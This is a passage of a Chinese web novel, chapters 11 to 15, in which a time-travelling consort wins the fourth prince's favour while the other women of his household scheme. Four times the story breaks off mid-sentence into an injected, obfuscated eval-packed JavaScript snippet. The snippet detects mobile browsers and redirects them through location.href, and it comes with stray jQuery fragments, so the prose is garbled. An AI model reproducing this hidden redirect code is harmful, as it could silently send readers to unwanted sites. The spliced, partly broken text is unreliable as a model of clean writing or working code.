四爷无奈地点点她,“那你想好了吗。”
年芷瑶对四爷笑得灿烂,“爷,我想吃春饼。”她早就想好了,如今天热,也吃不下什么油腻的菜,只想吃几个素色小炒,配春饼吃一定不错。
他看向苏培盛:“传膳吧。”
苏培盛:“是。”
午膳很快就摆了上来了,有?黄豆芽炒红椒,?木耳番茄炒蛋,醋熘土豆丝,辣炒藕丁,看着就爽口。
春饼做得又薄又韧,卷菜吃更是一绝,四爷也很捧场,一连吃了好几张饼才停了下来。
他道:“今日这菜不错,赏他们。”
苏培盛低头称是,这膳房的人今儿个倒是得了侧福晋的巧。
正院那也摆上了膳,福晋看着一桌子的荤腥,有些腻烦地捂了捂嘴角,简单吃了两口便让人撤了下去。
赵嬷嬷劝道:“福晋,多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135721|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少再吃些吧。”
福晋摇了摇头:“我没什么胃口,你们都分了吧。”
见劝不动福晋,赵嬷嬷叹了口气,福晋苦夏,一到夏天就吃得少,可即便这样福晋的抄经还是每日不落,这身子怎么受得住呢。
她想了想说:“奴婢听说圆明园里气候好,夏日也凉爽些,不如福晋禀了爷,去园子里避暑可好。”
福晋皱了皱眉:“我没什么要紧的,何必要兴师动众的。”
赵嬷嬷低头不语,要说兴师动众,主子爷带着年侧福晋一去便是月余才是兴师动众呢,您又何必如此自苦,可她动了动唇角,还是没将话说出口。
福晋看向赵嬷嬷:“爷可是去了东院。”
赵嬷嬷点头。
福晋看向外面,去不去园子有什么重要的,她也能猜到一点爷的心思,若是真的成了,日后还有得争呢。
李氏的院子,琥珀和玛瑙在屋外面面相觑,不敢有半点声音,自从上次主子被禁了足,主子的脾气就越发大了起来。
“爷还没来吗。”屋内传来李氏的声音。
琥珀推开门,轻声说:“刚才小福子来禀,说爷去了东院了。”
李氏气得将茶盏扔在地上,“没用的东西。”
琥珀劝道:“主子别担心,爷定会过来的。”
李氏:“爷怎么会来,自从年氏那个狐媚子进了府,爷都把我抛在脑后了,怎么会再来我的院子。”
琥珀紧张地四处看了看:“主子,可不敢这么说。”
有了之前的教训,李氏很快就闭上了嘴,可眼里却更加不忿,年氏刚进府,爷就将那年氏带去圆明园游玩,若日后那年氏再有了孩子,那这府里还有她的容身之处吗。
玛瑙担心地看着主子,之前主子和三阿哥的议论已经惹得主子爷不高兴了,连三阿哥都不准来后院了。
若不是还是爷不想把事情闹大,她们被罚的板子说不定还要更重一些,福晋也趁机作怪,主子若是还不看得清楚些,往后的日子只怕更不好过。
用过午膳,年芷瑶便有些困,今日要从园子里回府,她起得格外早,如今自然是更困了。
四爷倒是没陪着她一起午睡,而是去了前院,她看着四爷,果然是日后要做皇帝的人,即便没有实务,也照样清闲不了啊。
她去了东侧间休息,她的正房是一明两暗三间大屋子,中堂被她当作待客和吃饭的地方,西边地被她当作书房,东西两侧又各有耳房。
旁边又有东厢房和西厢房,也是一明两暗三间屋子,屋子太多,她现在也用不上,便都上了锁,只留在东面的几间屋子作为仓库。
美美地睡了一觉后,年芷瑶缓缓地睁开眼睛,只觉得休息的正好。
听到动静的白芨走了进来,替她掀开床帐道:“主子,耿格格求见。”
年芷瑶:“耿格格?”她来做什么。
白芨道:“是,已经在偏厅等着了。”
年芷瑶:“怎么不喊我。”
白芨:“耿格格说不必打扰您,主子别担心,奴婢已经上了茶水点心,并未怠慢。”比起不相关的格格,自然是自家主子的休息更重要些,主子今晨起得早,若是午间休息不好,那便该难受了。
况且耿格格不请自来,所谓何事还不一定呢。
年芷瑶点了点头:“为我梳妆吧。”
12. 第 12 章
耿氏随着领路的丫鬟进了东耳房,她抬头望了一眼,只见这间屋子的桌椅是一水的紫檀木,前头的座椅旁放着两个松石绿地粉彩花卉葫芦三孔瓶,一看就名贵非常。
听说侧福晋这里的摆件都是四爷参谋的,少了的东西也都是四爷从库房添的,侧福晋刚进府的那些日子,人人都看见苏培盛日日带着东西往东院跑,可见四爷对侧福晋的宠爱。
丫鬟给她上了茶水点心,耿氏端起茶盏闻了闻,是难得的好茶,侧福晋却只用它来待客,耿氏想叹气,她看了一眼等在一旁的小丫鬟,又将叹息咽了回去。
年芷瑶走进偏厅,看着坐在一旁的耿格格笑道:“让妹妹久等了。”
耿格格起身行礼:“是我不该打扰侧福晋休息才是。”
年芷瑶摆了摆手:“不妨事,格格这次过来可是有事?”
耿氏皮肤白,长相也偏娇俏,可能是产子不久的原因,身材还有些丰润,但也是个美人,毕竟是皇阿哥,谁敢把不好看的女子塞进他的后院里,又不是嫌命长了。
故而四爷的后院女子虽少,但也都是中上之姿,还都是大选出来的,家世清白的秀女,四爷并不热衷女色,不像三爷,后院不少都是门下奴才的女儿,毕竟选秀的秀女都是要给整个宗室赐婚的,即便是皇上,也不能把好的都留给自己儿子。
耿氏笑道:“并没有什么大事,只是听闻侧福晋爱吃糕点,我院子里碧珠的最会做点心,故而拿来给侧福晋尝尝。”
年芷瑶看着精致的点心,赞道:“这点心看着好吃,耿妹妹费心了。”
耿氏:“能得侧福晋喜欢便好,这些都不算什么。”
耿氏并未多待,只浅浅和她聊了两句便起身告退。
等耿氏走后,年芷瑶看向白芨,“你说她这次来是为了什么。”
白芍想得简单些:“主子得宠,耿格格想凑上来不是寻常的事吗。”
年芷瑶抚了抚茶盏,耿氏在后世上的记载并不多,只知道她是五阿哥的生母,听说还抚养过乾隆幼时一段时间,是以乾隆登基后对她很是亲近,并加封她为贵太妃,但除了这个,并未对这个人有太多的记载。
也并未听说她与历史上的年氏有什么交情。
松嬷嬷知道得多些,“奴婢听说这些日子,钮祜禄格格时常到福晋的院子里请安。”
年芷瑶眯了眯眼,钮祜禄氏这是和福晋联合在一起了,她有儿子,福晋没儿子,倒是个不错的买卖。
府里就两个格格生了阿哥,钮祜禄氏傍上了福晋,耿氏来找她也不奇怪,至于为什么不找李氏,那真是有眼睛的人都能看得出来,李氏缺点脑子,人品也不行。
想通了这个,年芷瑶便放心地吃起了点心,有所求不要紧,最怕的是无缘无故的好意。
她尝了口菊花糕,“味道的确不错,你们也来尝尝。”
穿越过来之后,她才知道,之前看的小说电视剧里的人动不动就在饭菜里下毒什么的纯属扯淡。
当你的全家的性命都在上位者手里捏着的话,没什么人真的敢做什么,不说耿氏敢不敢拿她儿子和全族的性命来赌,至少膳房的人才不会为了她拼上命呢。
白芍兴致冲冲地上前,拿了一块梅花糕咬了一口,“真的好吃,白芨姐姐也来尝尝。”
白芨点她:“小馋猫。”
“你才馋呢。”
年芷瑶笑着看两人的打闹,刚进府时,她们的心里都绷着一根弦,连笑闹声都少了,如今也算是安稳下来了。
松嬷嬷一脸慈爱地看向她:“主子可要收服耿格格。”
主子得宠,但在后院有个帮手也是好事,耿格格出身不高,是汉军旗,自然会以主子马首是瞻。
“看看再说吧。”年芷瑶对拉拢别人这事并不热衷,天下熙熙皆为利来,耿氏因她有宠而靠过来,日后若她失宠自然也会离去。
她又有儿子,难说不会为了儿子做些什么损害她利益的事。
虽说历史上五阿哥是个不着调的王爷,一直对皇位没有觊觎之心,但她并不保证,耿氏和五阿哥是没有野心的人,职场让她学会的第一件事,就是不要用既定印象去看人。
松嬷嬷看她兴趣缺缺,也不再劝说,主子心里有数便好,她能做的,就是尽力让主子过得更好。
瑶珠扶着耿氏出来,“格格,您说侧福晋是什么意思,可会接受我们的投靠。”
耿氏摇头:“哪有这么容易,说到底是我们求着人家。”
她也不想这般,可钮祜禄氏是大姓,如今身后又站着福晋,如今虽是不显,可日后两个阿哥都进了前院读书,那差别可就大了。
晚间,白芨过来禀告:“主子,四爷过来了。”
四爷进了屋子,一眼就看着她桌子上的冰酥酪和冰酸奶,不由得皱了皱眉:“少食些冰。”
年芷瑶冲他笑:“天气太热了嘛。”
四爷:“那也不许贪多。”他摸了摸她的额头,并未出多少汗,就知她只是嘴馋。
他抬眼看着年芷瑶,知道这是个不服管的,便看向一旁伺候的白芨:“看着你主子,别让她多吃。”
白芨下意识的福身:“是。”
年芷瑶怨念地看着他,这人真讨厌,他这么说,旁人还怎么敢让她吃冰。
四爷安慰她:“这东西吃多了损伤脾胃,就没胃口了吃饭了,一天最多吃上一碗。”
看她还不满意,便道:“等过段时间天气凉快了,爷带你去外面玩可好。”
年芷瑶惊喜地看他:“真的吗,爷真的要带我出府玩。”
四爷点头。
“那爷可不准耍赖。”年芷瑶趁机把事情定下来,如今出门的机会可不易得,自然要抓住机会才是。
四爷笑道:“君子一言,驷马难追。”
“晚上想吃什么。”
年芷瑶“吃羊肉。”
四爷笑着摸了摸她的头,“好。”
晚膳时,膳房果然进了羊肉上来,有红焖羊肉,葱烧羊肉,还有她特意叮嘱过的烤羊肉串,撒上厚厚的辣椒和孜然,一口下去,梦回夏天的大排档,就差冰镇啤酒了。
虽没有啤酒,但有新酿的果酒,也还不错。
年芷瑶接连吃了三串,不愧是膳房大师傅做的,这羊肉的火候烤得刚刚好,连四爷这不喜重口的,都忍不住尝了一串。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135722|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苏培盛佩服地低头,在主子爷身边在如此放肆吃喝的,吃的还是羊肉这等重口味的菜,后院这么多主子中,他也在年侧福晋身上见过。
不过,伺候主子爷这么多年,他多少也能摸着点主子爷的脉,他喜欢的便是侧福晋这般的真性情,也算是歪打正着了。
年芷瑶看向四爷,心中不解,怎么会有人拿着羊肉串也如此优雅,就像吃的不是羊肉串,而是在用琼浆玉露,难道这就是传说中的贵族气息吗。
四爷感受到她的视线,看了过来。
年芷瑶问道:“爷,这烤羊肉如何。”
四爷点了点头:“不错,赏。”
苏培盛:“是。”
用过晚膳,两人各自洗漱完,便该躺下办正事了,年芷瑶摸着四爷紧实有力的肌肉,不得不说,四爷的本钱还是不错的,至少身材不错。
四爷按住她不老实的手,一个翻身便将她压在了身下。
又是一夜放纵。
午后,年芷瑶正在吃着削好切块的桃,要说这夏天还有什么好处的话,那就是应季的水果比较多,比如她手中的桃,便是从湖南运过来的,脆甜,比她在现代花大价钱买的有机桃子还要甜。
果然无论在什么朝代,统治阶级的享受都是普通人想象不到的。
白芨走了进来:“主子,再有一个多月便是四爷的生日了,咱们可要准备些什么。”
年芷瑶沉吟:“其他院子里都送的什么。”
白芨:“李侧福晋这几日时常让人去前院看三阿哥,许是想从三阿哥那边下手吧,钮祜禄格格让身边的丫鬟去针线房要了一些丝线,许是要亲自绣些东西送给爷。”
年芷瑶拍了拍手:“那我们也绣个东西吧,就绣荷包吧。”
她想了想还是觉得绣荷包最是简单,四爷能缺什么,心意到了就行了。
白芨点了点头,主子这个礼物虽不出彩,也不出错,不过主子既已得主子爷的宠爱,那不出错已是极好了。
更何况这是入府第一年,若是送得太过出挑,日后也不好,上头还有福晋呢。
“那主子可要绣什么花样子。”
这个就更简单的,挑个寓意好的就行,“就绣个并蒂莲好了。”既能让四爷想到她,又有美好的祝愿。
白芨:“那奴婢这就去把丝线取回来。”
年芷瑶点了点头,说起刺绣这门手艺,她本来不想学的,额娘也随她,只说若是一窍不通显得不好,就让她随便学学,能把线缝直便好,左右将来也用不着她亲自动手。
可她跟着嬷嬷学了几天,却意外地来了兴趣,看着手中的丝线一点点地变成各种图案,她有种莫名的成就感。
可能是不事生产的原因,让她把刺绣当成了爱好,若是真让她去绣东西赚钱,她可能就没有这么大的兴趣了。
即使是会刺绣,她在家中一般也不动手,只给额娘阿玛绣的多些,两个哥哥也只有在生辰时能收到她这个妹妹亲手绣的荷包。
如今送给四爷,也不算敷衍吧。
只是四爷的生日啊,想必又将迎来一场面和心不和的宴会吧,年芷瑶打着扇子想着。
13. 第 13 章
年芷瑶正在院子里晒太阳,如今的天已经一天天地凉快下去了,已不像盛夏那般燥热,阳光充足又不热,正是晒太阳的好时间。
四爷刚进院子就看见她歪坐在贵妃榻上,旁边还有四样点心,不由笑道:“你倒是会享受。”
年芷瑶起身迎他:“爷怎么这个时间过来了。”
不怪她问,现在是巳时刚过,也就是上午九点多,四爷一般是晚上过来和她一起用晚膳,顺便歇下,有时中午也会来,但从未在这个时辰来过。
不过想到昨夜四爷让苏培盛过来传话,说前院有事不能过来,年芷瑶挑了挑眉,他今天来得这般早,不会是想她了吧。
四爷看她:“不想让爷来。”
“怎么会。”年芷瑶挽住他的手臂:“我巴不得爷时时刻刻都陪着我,怎么会不想让爷来呢。”
四爷笑了笑:“油嘴滑舌。”
年芷瑶撇嘴:“我明明是真心实意的,爷却说我油嘴滑舌,那以后我不说就是了。”
四爷被她逗不行,又拿她没办法,只能牵着她的手进了屋子。
见两个主子亲亲蜜蜜地进去,苏培盛只得带着人等在门外,又一次见识到了年主子的哄人功夫,他不由叹道,怪不得年主子得宠呢,这情话都说得如此动听,谁听了不迷糊啊。
“爷,尝尝这个。”年芷瑶端了一碗杏仁酪递给四爷,“这是小厨房今日新做的,我吃着还不错。”
四爷笑了笑:“你这里的小厨房倒是不错。”
年芷瑶:“不过都是些小玩意,爷喜欢便好。”
四爷凑近她道:“瑶儿给的,爷自然都喜欢。”
年芷瑶看着四爷在眼前放大的俊美面庞,有些不自然地屏住呼吸,虽然两人再亲密的事情都做了,可忽然离得这么近,她还是有些慌乱。
四爷看到她如此慌了神,不由哈哈大笑,将她一把抱在了腿上,挑了挑眉:“瑶儿怎么还是这么害羞。”
年芷瑶将脸埋在他的怀里,“爷真烦人。”
四爷不在意地拍了拍她的背,“是爷不好,吓到瑶儿了。”
若是旁人看到两人这般,定会觉得他们是一对十分相爱的夫妻,可年芷瑶却清楚,如今两人的感情虽好,可四爷待她,不过是只到喜欢的程度,整日停在东院,也不过是这王府里,她最合他的心意罢了。
要到今生只爱一人的程度,还差得远呢。
但年芷瑶从来不会因为这份感情不够深刻而看不上,她太明白了,这世界上从来没有无缘无故的爱,她在现代时也不是没有过两情相悦的恋爱。
那个男孩人品好,学历好,家庭好,可就是太好了,在知道她的原生家庭后,他家里人强烈反对,他抗争过,反抗过,但最终也没敌过父母,和她分了手。
自那之后,她就明白了,人生苦短,及时行乐就行了,情爱这种东西谁认真谁就是傻子。
所以如今能和四爷这般相处,她已经觉得不错了,既是包办婚姻,又是各取所需,还能算得上琴瑟和鸣,已经超出她的预想很多了,她十分知足。
她把玩着四爷的手,他的手指修长,骨节分明,又因常年骑射握笔,手中有薄薄的一层老茧,她伸手附了上去,嗯,比她的手要宽大许多。
四爷握住她的手:“又作怪。”
年芷瑶靠在他怀里,“有爷在,真好。”
四爷:“就知道哄爷。”
“我是认真的。”年芷瑶抬头,清澈的眸子映衬出四爷的脸,她满眼认真,让人不自觉地沉沦进去。
四爷捂住她的眼,“嗯,爷知道。”
爷会对你好的。
两人紧紧地抱在了一起,后果便是身体自然地起了反应。
年芷瑶感受到他身下的起伏,捏了捏他地绷的紧实的小腹,她向四爷耳边吹了口气,“爷,你好像很紧张呢。”
四爷的眼神慢慢地暗了下来,按住了她不老实的手。
年芷瑶一脸无辜地抬头看他:“爷,现在还是白日呢。”你得冷静啊。
四爷运了运气,将怀中的大宝贝抱紧,“等晚上,看爷怎么收拾你。”
年芷瑶心中一紧,坏了,好像玩脱了。
她换了一副求饶的表情,“爷,我错了。”
“现在说错,晚了。”四爷笑了起来,可笑意却不达眼底,反倒是沉沉的可怕。
年芷瑶看了有些害怕,她太明白四爷的实力了,想跳下来逃跑,却没能成功。
四爷的臂力竟然也不错,年芷瑶欲哭无泪,不是说四爷不善骑射吗,怎么这么有劲啊。
她不知道的是,四爷的不善骑射,是与大阿哥那般勇武的比较,但毕竟是从小练出来的,又有个对儿子精益求精的皇阿玛,自然比一般的花架子要好。
至少逮住她这个四肢不勤的还是轻而易举。
晚上放肆的后果就是明明第二天就是去福晋院子里请安的日子,年芷瑶却躺在床上起不来身。
看着瑶儿埋怨的眼神,四爷难得移开了视线,昨夜是他放纵了。
四爷安抚她道:“爷让人给福晋说声。”
这次年芷瑶没再拒绝,因为她的腰确实有些不太行,况且就她现在的这副样子,即便是去了福晋的院子,比直接告假不去也好不了多少。
她道:“还是让白芨去吧,就说我今儿个不舒服。”
直接让苏培盛告诉福晋总觉得有些太张狂了,她到底是新进府,还是低调些好。
四爷点了点头:“好。”
看着白芨离去,年芷瑶便放心地躺下了。
左右那些酸话什么时候也少不了,多一些少一些的也无所谓,比起那个,她还是更在意自己的身体。
四爷为她掖了掖被子,“你再睡会。”
正院
福晋听了白芨的回禀便点了点头,“既然你家侧福晋身子不适,就不必过来请安了,回去好生照顾你们主子。”
白芨:“是。”
李氏嘴角一撇,“这年妹妹可真是身娇体弱,也不知是真的不适,还是不想来给福晋您请安呢。”
福晋看了她一眼,“年氏整日里伺候爷自然辛苦些,若是你们谁也有这般本事,也可以不来请安。”
李氏的脸色顿时难看极了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135723|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一旁的格格看着福晋与李侧福晋的斗法,都低头不语。
年芷瑶又睡了个回笼觉,直到日上三竿才起来,醒来时,四爷已经走了,想必是去了前院。
她看着白芨:“福晋那可说了什么。”
白芨摇头:“福晋并未多说什么,只是奴婢走时看着李侧福晋的脸色,着实有些难看。”
年芷瑶点了点头,李氏的心思人人皆知,可四爷也不会因为她摆上脸色就上她的院子里。
李氏虽已失宠,但有位份子嗣,若是不犯蠢,好好教养三阿哥,日后未必没有好日子过,四爷念旧情,也不会让福晋在分例上为难她。
可这些日子看下来,李氏并没有这个脑子,她在心里摇了摇头。
个人有个人的缘法,旁人怎么过,和她的关系也不大,她也没那个闲心去管。
年芷瑶看向镜中自己还泛着潮红的脸,十分自恋地叹道,她的皮肤可真是极好,一般人想要这般效果还没有呢。
白芨问道:“主子,可要传午膳。”
年芷瑶点了点头,四爷午膳不过来,只她一个人吃就简单多了,也不必管要几凉几热,直接要了炸串和奶茶。
把穿好的土豆,茄子,蘑菇裹上薄薄的一层面糊,大火油炸,再趁热刷上酱料,比吃肉还要痛快。
膳房特意配了三种酱料,有甜辣的,酸甜的,还有孜然烧烤的撒料,一口吃下,满嘴流油。
唯一的遗憾就是没有碳酸饮料,酸梅汤始终差点意思。
也就是她独门独院地住着,不然油炸的香气一上来,旁边的人都得过来问一问。
因上午睡得足,她中午就没再睡,免得晚上走了困,便在秋千里看起了书。
四爷让人在院子里给她搭了个秋千,她特意要了半包裹式的,可以整个人坐在里面。
采蕖又给她缝制了几个靠枕,十分柔软,舒服得让人不想起来。
午后,小厨房进了点心上来。
年芷瑶指着一碟子四四方方的黄色糕点问道:“这是什么。”
采芙过来看了一眼:“回主子,这是豌豆黄。”
豌豆黄啊,年芷瑶想起来了,这玩意和绿豆糕一样,口感细腻但噎人,她一向不爱吃,比起这个,她更爱吃甜软的糕点类型。
她摆了摆手:“这个你们分了吧,再给我要份枣泥山药糕来。”
采芙:“是。”
钮祜禄氏看着在屋子里玩闹的四阿哥,脸上泛起温柔的笑意。
四阿哥抱住她:“额娘,想去外面玩。”
钮祜禄氏看了看天色还算好,就让奶娘带着四阿哥去院子外面转一转,“不要走远。”
奶娘道:“是。”
春桃:“格格,您说今日年侧福晋为何没来请安,是真的身子不适吗。”
钮祜禄氏笑了笑;“若真是身子不适,怎么会连大夫都不请。”
她看了一眼因为可以出门而笑得开心的四阿哥,福晋说得没错,这个王府里,谁得了四爷的宠爱,谁在府里就能横着走,可还有一点,谁有了阿哥,谁才是有了真正的后福呢。
14. 第 14 章
年芷瑶绣下荷包的最后一针,满意地点了点头。
等在一旁的白芨笑道:“主子的绣功越发精湛了,这并蒂莲栩栩如生,四爷收到后定会明白主子的心意的。”
年芷瑶笑了笑,“收起来吧。”
送礼这件事,说到底还是要看送礼物的人是谁,要是送礼的人是你不喜欢的,她就算是将礼物送到心坎里,你也会想这人是不是别有所图,若是喜欢的人,就算送个鹅毛过来,都会被说是礼轻情意重。
是以她早已不会为送礼发愁了。
年芷瑶走到院子里看了看,“今日的天气倒是好,陪我出门转转吧。”
白芨道:“是。”
王府里的花园就在离她院子不远,在后院靠近中间的位置,倒是方便,年芷瑶带着人浩浩荡荡的过去,还有小太监在前头开路,防着不相干的人冲撞。
花园说大不大,说小不小,比起圆明园自是差了不少,但该有的都有,还有一方小湖,可以在那坐着赏景。
白芨带着人布置了凉亭,又上了茶水和点心。
年芷瑶坐在用软垫铺好的石凳上,将思绪放空,享受着这片刻的静逸,微风轻拂,阳光洒在她的面庞上,展示出一种动人的美。
“给侧福晋请安。”
一道不算熟悉的声音打断了年芷瑶的思绪,她抬头一看,竟然是宋氏。
年芷瑶有些惊讶,两人虽说在每每都在福晋的正院相见,但宋氏不爱开口,和她的对话也仅限于请安行礼,没想今儿个会在园子里遇见她。
年芷瑶:“快起。”
她看了看宋氏过来的方向,明白是她晚到一步,既如此,也不好直接赶人。
年芷瑶笑道:“是我扰了妹妹的清静了。”她指了指一旁的空座,“妹妹可要与我一同赏景。”
宋氏微微福身,然后拒绝道:“不敢打扰侧福晋的雅兴了,妾先行告退。”
年芷瑶看着宋氏离去的背影挑了挑眉。
白芍不忿道:“主子,这宋氏也太没规矩了吧,您都请她入座了,她竟丝毫不理会。”
年芷瑶:“她可能是不喜人多吧。”
白芍:“可是...”
年芷瑶看她一眼:“好了,出来玩都堵不住你的嘴。”
白芨给白芍使了个眼色。
白芍:“是奴婢多嘴了。”
年芷瑶摆了摆手:“无事。”
这宋氏也是个可怜人,她伺候四爷最早,先前生过两个格格,可都没过满月就因体弱早夭,自此之后便沉寂在了后院,对于这般心如死灰的女子,她未尝不能容忍几分。
回去的路上正好碰到四爷,年芷瑶笑着走过了去:“爷。”
她还年轻,还不到认命地时候,若此时不争,她将来的下场不一定会比宋氏要好上多少。
四爷握住她的手:“手怎么这么凉。”
年芷瑶冲他笑笑:“可能是在园子里多坐了一会。”
四爷皱了皱眉:“一会让膳房上份滋补的汤羹来。”
苏培盛:“是。”
四爷:“如今已是秋日,一早一晚都凉,注意自己的身子。”
年芷瑶听着他关心的话,笑得越发甜软:“是我错了,下次不会了。”
四爷看她认错认得如此之快,也不好再说她什么,知道瑶儿是在府里待的无聊了,只是如今快到中秋,府里事忙,等过段时间才能再带瑶儿出门。
他牵着她的手,只觉得这手比他的不知要细腻多少,摸起来更是柔弱无骨,四爷的指尖微微用力,像是害怕她从他的手心逃走一般。
用过晚膳,两人便在一起下棋消食,说实话她在围棋上的造化并不深,索性四爷只是想和她打发时间,而不是真的想和她切磋一番。
可即便是这样,四爷也对着她连连叹息。
年芷瑶抱怨:“本来就是爷非要拉着我下的,怎么还怪上我了。”她都说过自己棋艺不精了,家里没人愿意和她下棋的。
四爷无奈,只能捏着鼻子认了。
第二日一早,年芷瑶刚用过早膳,便看见白芍便笑意盈盈地进来。
“主子,苏公公过来了。”
苏培盛走了进来,低头行礼:“给年主子请安,主子爷特意让奴才给您送样东西过来。”
年芷瑶微微一笑:“什么东西。”
苏培盛小心翼翼地将木盒盛了上去,并不敢回话,四爷早上拿东西的时候他可是看见了,想着此物呈上去年主子定不会高兴。
年芷瑶打开木
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135724|164425||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盒,发现里面竟然放着三本棋谱。
苏培盛看了看她的脸色,说:“主子爷说,这三本是初学用的,等您学会了,还有更复杂些的。”
年芷瑶呵呵一笑,将棋谱拿了出来,“告诉爷,我知道了。”
晚间,四爷过来看她。
年芷瑶上去抱住了他:“爷真讨厌。”
这人真是睚眦必报,昨日被她噎住了,今天就要找补回来,她想到后世说四爷爱记仇,如今一看,果然是真的。
四爷笑了起来:“瑶儿天资聪颖,若是认真研读,棋艺定可突飞猛进。”
年芷瑶轻哼一声:“我不要。”
“那就不学。”四爷将棋谱拿走,转身抱住了她,这棋谱本来就是拿来逗瑶儿玩的,不学就不学吧。
八爷府
八爷正在书房里钻研着礼物单子。
八福晋递给八爷一碗百合莲子粥,“爷歇歇再看吧,仔细别伤了眼睛。”
八爷冲她笑了笑:“先放着吧,马上就要中秋了,爷准备选一些物件进给皇阿玛。”
如今皇阿玛对他的态度好不容易好上一些,他不想放过这次机会。
八福晋叹道:“这中秋之礼年年都送,如今是真的不知道送些什么了。”
八爷拍了拍她的手:“皇阿玛什么都不缺,最看重做儿子的心意。”
八福晋:“是呢,不知四爷那备的是什么礼。”
八爷抬头看她:“怎么说起四哥?”
八福晋捂嘴轻笑:“这不是听说四哥对新进门的侧福晋很是宠爱,中秋佳节宫中设宴,想那侧福晋应该也会去,我也有些好奇呢。”
八爷看她:“听说那侧福晋是年家的女儿。”
“是呢。”八福晋撇了撇嘴,她是福晋,最看不惯的便是那些侧福晋格格之流,只是四嫂嫡子没了,那年氏家世又好,日后再生了阿哥,那雍亲王府里指不定多热闹呢。
不像八爷疼她,两人虽没孩子,但八爷就将王氏生下来的阿哥给抱到了正院,也并未为那王氏请封侧福晋,可见八爷对她的心意。
她轻轻伏在八爷身上,心中忍不住有些许得意。
嫂子又如何,四哥待四嫂要是有八爷待她一半好,就不会让那年氏进门。
15. 第 15 章
正院
福晋正对着烛火查看着给各府的礼物单子。
赵嬷嬷看了看天色,“福晋,时辰不早了,该歇息了。”明儿个福晋还要早起念经,若是歇得晚了,明日定会头疼难受。
福晋合上书册:“这些日子你仔细着些,别出了差错。”
如今快到中秋了,给各府走礼最是马虎不得,若是哪家的礼轻了,哪家的礼重了,都是麻烦事,不如现下多费些事。
赵嬷嬷低头:“是。”她扶着福晋起身。
牡丹掀开门帘,欣喜地道:“福晋,四爷过来了。”
赵嬷嬷惊讶地看她,然后连忙带着正院里一阵忙碌,四爷这个时辰过来,说不得会在院子里歇下呢,得快些将东西准备好了。
福晋看着她们如此热闹,不好出声打断她们,心中却不认为四爷会留在她这。
看四爷进了屋子,牡丹连忙带着人上了茶。
福晋行礼道:“爷来了。”
四爷看了眼桌子上的东西,便知道福晋刚才在做什么,他道:“中秋事多,辛苦福晋了。”
福晋:“都是妾身分内之事。”她看向四爷:“爷可是有事。”
四爷点了点头:“没什么大事,只是李氏的性子如今越发偏颇了,中秋就让她在府里看家吧,省得进宫惹了麻烦。”
如今宫中事多,再怎么小心也不为过。
福晋有些惊讶地看了过去。
四爷抬眸看她。
福晋连忙低头:“是。”
“只是不知三阿哥那...”
四爷皱了皱眉:“三阿哥如今也大了,跟着爷去前殿便是。”
福晋不敢再说什么,只能低头称是。
赵嬷嬷带着人站在屋子外面,问道:“主子爷的换洗衣裳可准备好了。”
牡丹:“嬷嬷放心。”
主子爷虽不怎么在正院过夜,可每年新做的四季衣裳总要留一些在正院,就是为了以备不时之需。
正事都谈完了,四爷便起身离去:“爷去年氏那,你好好歇着。”
福晋:“是,妾身恭送爷。”
赵嬷嬷一个眨眼,就看着四爷走了出来,她连忙跟着跪下行礼。
她小心翼翼地进了屋子,轻声喊道:“福晋。”
福晋看了看犹豫的赵嬷嬷,摆了摆手:“我累了,先歇息吧。”
看着嬷嬷没再说什么,她终究是缓了口气。
福晋躺在床上看着新绣的缠枝牡丹帐子,她没想到四爷会为了年氏做到这个地步,说什么李氏性子不好,分明是怕中秋进宫时李氏为难年氏,而他在前殿力有不逮吧。
这么多年,四爷有这么宠爱过谁吗,李氏年轻时也颇为得宠,可四爷有这般为她着想吗,福晋有些想不起来了。
她闭了闭眼,不管四爷在府里更宠爱谁,她都是得万岁赐婚,名正言顺的四福晋,谁也越不过她去。
年芷瑶在东院得了四爷正往这边来的消息,便去了院子外等着他。
白芨劝道:“主子,外面风凉,您在屋里等便是。”
年芷瑶:“无事,就当是消消食也好。”
白芨见劝不动她,只能抱着披风跟着她。
